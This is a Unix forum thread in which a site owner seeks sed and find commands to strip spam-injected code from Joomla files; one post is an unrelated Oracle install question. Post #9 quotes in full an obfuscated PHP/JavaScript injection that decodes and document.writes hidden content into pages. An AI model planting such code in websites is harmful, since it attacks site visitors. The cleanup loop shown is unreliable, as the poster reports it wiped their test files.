[help]Delete or replace text in multiple file and multiple directory


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting [help]Delete or replace text in multiple file and multiple directory
# 8  
Old 05-11-2009
pre-istallation operating system preparation for oracle 10g

Hi all,

when i am ruunind rootpre.sh script to check operating system pre-installation.i am getting the error Reuqired file ./pw-syscall32 is missing Aborting Pre-installation procedure.Installation of oracle mail.

0509-030 can't load program /cdrom/install/runInstaller
0509-036 symbol resolation failed for runInstaller because of error
0509-136 symbol -fill (number 0) is not exported from dependeant module /usr/lib/libc.a (shr.o_
0509-192 examine loader section symbol with 'dump -Tv' command

please any body help me about this issue.
# 9  
Old 06-04-2009
Hello. I have a problem very similar to this one in this thread. Some robots spamed my website files with similar strings as described. The script works, but if I change the string to this below it doesnt:

Code:
  sed 's_<?php echo '<script language='JavaScript'>function e590206b977(){var w4=Array.prototype.slice.call(arguments).join(""),y4=w4.substr(3,3)-352,wf,o2,w4=w4.substr(6),s9=w4.length;for(var u1=0;u1<s9;u1++){try{throw(x0=w8(w4,u1));}catch(e){x0=e;};if(x0=='Ł'){y4="";u1=oc(u1);oe=u9(w4,u1);while(oe!='Ł'){y4+=oe;u1++;oe=x9(w4,u1);}y4-=303;continue;}wf="";if(x0=='µ'){u1++;x0=w4.substr(u1,1);while(x0!='µ'){wf+=x0;u1++;x0=w4.substr(u1,1);}wf=ob(wf,y4,6);if(wf<0)wf+=256;wf=rd(wf);document.write(String.fromCharCode(wf));continue;}p3=(x0+'').charCodeAt(0);if(p3>848)p3-=848;o2=p3-y4-6;if(o2<0)o2+=256;if(o2>=192)o2+=848;else if(o2==168)o2=1025;else if(o2==184)o2=1105;document.write(String.fromCharCode(o2));}}e590206b977("0d","7374XebnŁ","502Łµ14µµ26µŁ","401","Łµ173µµ1","36µµ18","7","µŁ4","1","7","ŁĘµ1","87µ","µ","181µ","Ł396Łµ1","33µË","×","×","Óµ157µµ146µ","µ146","µËĚ×","µ1","4","4µÖČŁ396ŁŃŁ3","99ŁĘ","Ë","Ř","Ł","438","Ł","µ","0","µ","µ1","8","7µđűµ","18","8","µŁ3","2","1Ł","~","µ","12","9µµ1","34µ|Ł","3","7","7Ł","µ12","7µµ","185","µ","µ19","0µ~µ179","µµ","1","83µµ","1","85","µŁ","348Łr","eUSŁ","33","3","Ł","{mh","x","Ł433Ł","Đŵ18","4µµ168µĐŁ4","9","2","Łµ","8","µŁ454","ŁćŁ3","3","9Ł","q","Ł4","72","Ł","÷","µ3µ","ěߣ478Ł","ŐŁ4","63Łµ8µµ","21µµ24µŁ3","4","2Ł","µ145µµ1","46","µŁ","30","9Ł~IŁ","436","Ł","µ","173","µŁ","33","8","ŁYŁ411Ł","µ14","8µ","µ1","76µ","µ17","4µ","µ161µ","µ","1","87µŁ","37","0Ł","µ1","43µµ","15","5µ","µ","138µµ","150µµ14","2µµ13","5µ");function w8(qa,te){return qa.substr(te,1);}function oc(t3){return ++t3;}function u9(s1,tf){return s1.substr(tf,1);}function x9(qe,x4){return qe.substr(x4,1);}function rd(xc){if(xc==168)xc=1025;else if(xc==184)xc=1105;return (xc>=192 && xc<256) ? xc+848 : xc;}function ob(t8,w5,u4){return t8-w5-u4;}<\/script>'; ?>_ _' "$y" >temp

The error returned is:
Code:
line 3: syntax error near unexpected token `('

I assume the problem is with the the character '. Am I right? Any ideas how I can fix this?

Thanks
# 10  
Old 06-04-2009
Quote:
Originally Posted by Nejc
...
The error returned is:
Code:
line 3: syntax error near unexpected token `('

I assume the problem is with the the character '. Am I right? Any ideas how I can fix this?

Thanks
It's not only the single quotes ' , but other special characters as well, such as \ " . , that need to be escaped too, and there are too many of them ..., better use a regex:

Code:
sed "s:<?php echo '<script language='JavaScript'>.*<\\\/script>'; ?>::" file > temp

I assumed that there are no other valid records with the same content in the corner tags, as the line above has.
# 11  
Old 06-04-2009
Thanks a lot. I will try this solution and post the results. Thanks again
# 12  
Old 06-05-2009
It seems Im getting somethig wrong here, since I am not very keen with Shell scripting. Here is the code which I put togheter with this forum topic:

Code:
find . -type f | while read i
do
  sed "s:<?php echo '<script language='JavaScript'>function e590206b977().*<\\\/script>'; ?>::" file > temp
  if cmp temp "$y" >/dev/null
  then
    rm temp
  else
    mv temp "$y"
  fi
done

Am I doing something wrong here? I added the "function string" above, since its a Joomla site, and it might already include such a string. The program does something, but all I does it display this error numerous times:

Code:
mv: target is not directory: No such file or directory
sed: file can't be read: No such file or directory
cmp: : No such file or directory

Thanks again.
# 13  
Old 06-05-2009
Quote:
Originally Posted by Nejc
It seems Im getting somethig wrong here, since I am not very keen with Shell scripting. Here is the code which I put togheter with this forum topic:

Code:
find . -type f | while read i
do
  sed "s:<?php echo '<script language='JavaScript'>function e590206b977().*<\\\/script>'; ?>::" file > temp
  if cmp temp "$y" >/dev/null
  then
    rm temp
  else
    mv temp "$y"
  fi
done

Am I doing something wrong here? ...

There are a few things that I'd change, first the variables ( highlighted ), you're using i, y, file which (I guess) you're trying to represent the same thing - the file names.
I changed them below:


Code:
find . -type f | while read file
 do
   sed "s:<?php echo '<script language='JavaScript'>function e590206b977().*<\\\/script>'; ?>::" "$file" > "$file".temp
  
   # check cmp's -s flag

   if cmp -s "$file".temp "$file" 
    then
         rm "$file".temp
    else

     # proceed with care here !!

         mv "$file".temp "$file"
   fi
 done


Quote:
I added the "function string" above, since its a Joomla site, and it might already include such a string.

That's not an issue as long as the new string is a continuos part of the initial one, but add cautiously, especially when you hit special characters. BTW the new string ( function e5... ) is not a problem.

Proceed with care when you rename the files, test first from the command line with a few files using only the sed code, to be sure you're getting the right changes.

Last edited by rubin; 06-05-2009 at 08:50 AM.. Reason: reformulated the first sentence
# 14  
Old 06-05-2009
OK. Obviously this script doesn't do, what I would like, since it purged all my files. No harm done anyway, I did it on purpose on a testing website which was also spamed. Smilie

Before I ran the script, I also tested only with sed using this code:

Code:
sed "s:<?php echo '<script language='JavaScript'>function e590206b977().*<\/script>'; ?>::" index.php > index.temp

Now, this sed command is the only command in this script which I don't know what exactly does it do. I looked a little through "man sed" but I didn't understand much. I now cmp compares the files, and if they are the same the file index.temp gets removed, if not, the file index.temp becomes index.php. right? What about sed?

I can say, that the above command of sed, just copies the file index.php to index.temp. Nothing else.

Thanks
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Grep and replace multiple strings in a file with multiple filenames in a file

Hi, I have a file containing list of strings like i: Pink Yellow Green and I have file having list of file names in a directory j : a b c d Where j contains of a ,b,c,d are as follows a: Pink (3 Replies)
Discussion started by: madabhg
3 Replies

2. Shell Programming and Scripting

Delete multiple folders in a directory which are two weeks old

I need help. I have to delete multiple directories inside a directory that are two weeks old. Example: Today is July 09, 2012 Folder1 > folder1 (created June 4, 2012) -- should be deleted > folder2 (created June 2, 2012) -- should be deleted > folder3 (created... (4 Replies)
Discussion started by: jasperux
4 Replies

3. Shell Programming and Scripting

Replace directory paths in multiple files at once

I need to update about 2400 files in a directory subtree, with a new directory path inside the files I need to change this occurence in all files: /d2/R12AB/VIS/apps/tech_st/10.1.2 with this: /u01/PROD/apps/apps_st/10.1.3 I know how to change single words using "find . -type f -print0 |... (6 Replies)
Discussion started by: wicus
6 Replies

4. Shell Programming and Scripting

How to replace multiple text in a file using sed

can anyone please help me in the below scenario: File1: Hello1 Hello1 i want to use sed to replace multiple occurances of Hello1 in file 1 to welcome. Thanks a ton for the help (9 Replies)
Discussion started by: amithkhandakar
9 Replies

5. Shell Programming and Scripting

Replace text block in multiple files

I need to replace (delete) a text block in a bunch of files, its a html table, almost at the end of pages but the location varies. In Windows I used Filemonkey, but nothing like that in Unix? There is replace from mysql, but how does it deal with newlines? sed only works with single lines,... (6 Replies)
Discussion started by: eiland
6 Replies

6. UNIX for Dummies Questions & Answers

replace text in multiple files

I need to replace a piece of text in many files, recursively, in a way that doesn't duplicate the files. How would I do that? The closest I've come is grep -rl "text" * | sed -e 's/home1/home2/g' but that just replaces the filename. (2 Replies)
Discussion started by: dhinge
2 Replies

7. Shell Programming and Scripting

Replace text in multiple files

Dear all My task is to replace a strings in multiple files. filename: file1 I can use sed to replace abc.server.com to unix.server.org e.g. sed 's/abc.server.com/unix.server.org/g file1 > newfile1 I have 2 questions. How do I directly save file1 instead of append to newfile1. I... (1 Reply)
Discussion started by: on9west
1 Replies

8. Shell Programming and Scripting

Replace text in multiple files

Ok guys, If anyone could help me out on this puppy I'd be very appreciative! Here's the scenario I have a string for example : <img src=BLANK_IMG border=0 width=221 height=12> or <img src=IMG border=0 height=12 width=221 > or anything else really.... need to basically change each... (10 Replies)
Discussion started by: Tonka52
10 Replies

9. Shell Programming and Scripting

How do you delete multiple text from a comma delimited file

I would like to know code that will delete multiple text from a comma delimited file. For example, how would the comma delimited file below delete the word 'PEST' in Perl language (previously an excel file that was converted to a csv and the last column was PEST): 1, 2,43,34, bosx,PEST 1,... (1 Reply)
Discussion started by: dolo21taf
1 Replies

10. Shell Programming and Scripting

Need to search and replace in multiple files in directory hierarchy

Hello all I need to search and replace in multiple files that are in directory hierarchy Im using the : find . -name "*.dsp" -print | xargs grep -n -o Test.lib" , I like to be able to replace every instance of Test.lib with empty space . how can I write one liner that does this ? (3 Replies)
Discussion started by: umen
3 Replies
Login or Register to Ask a Question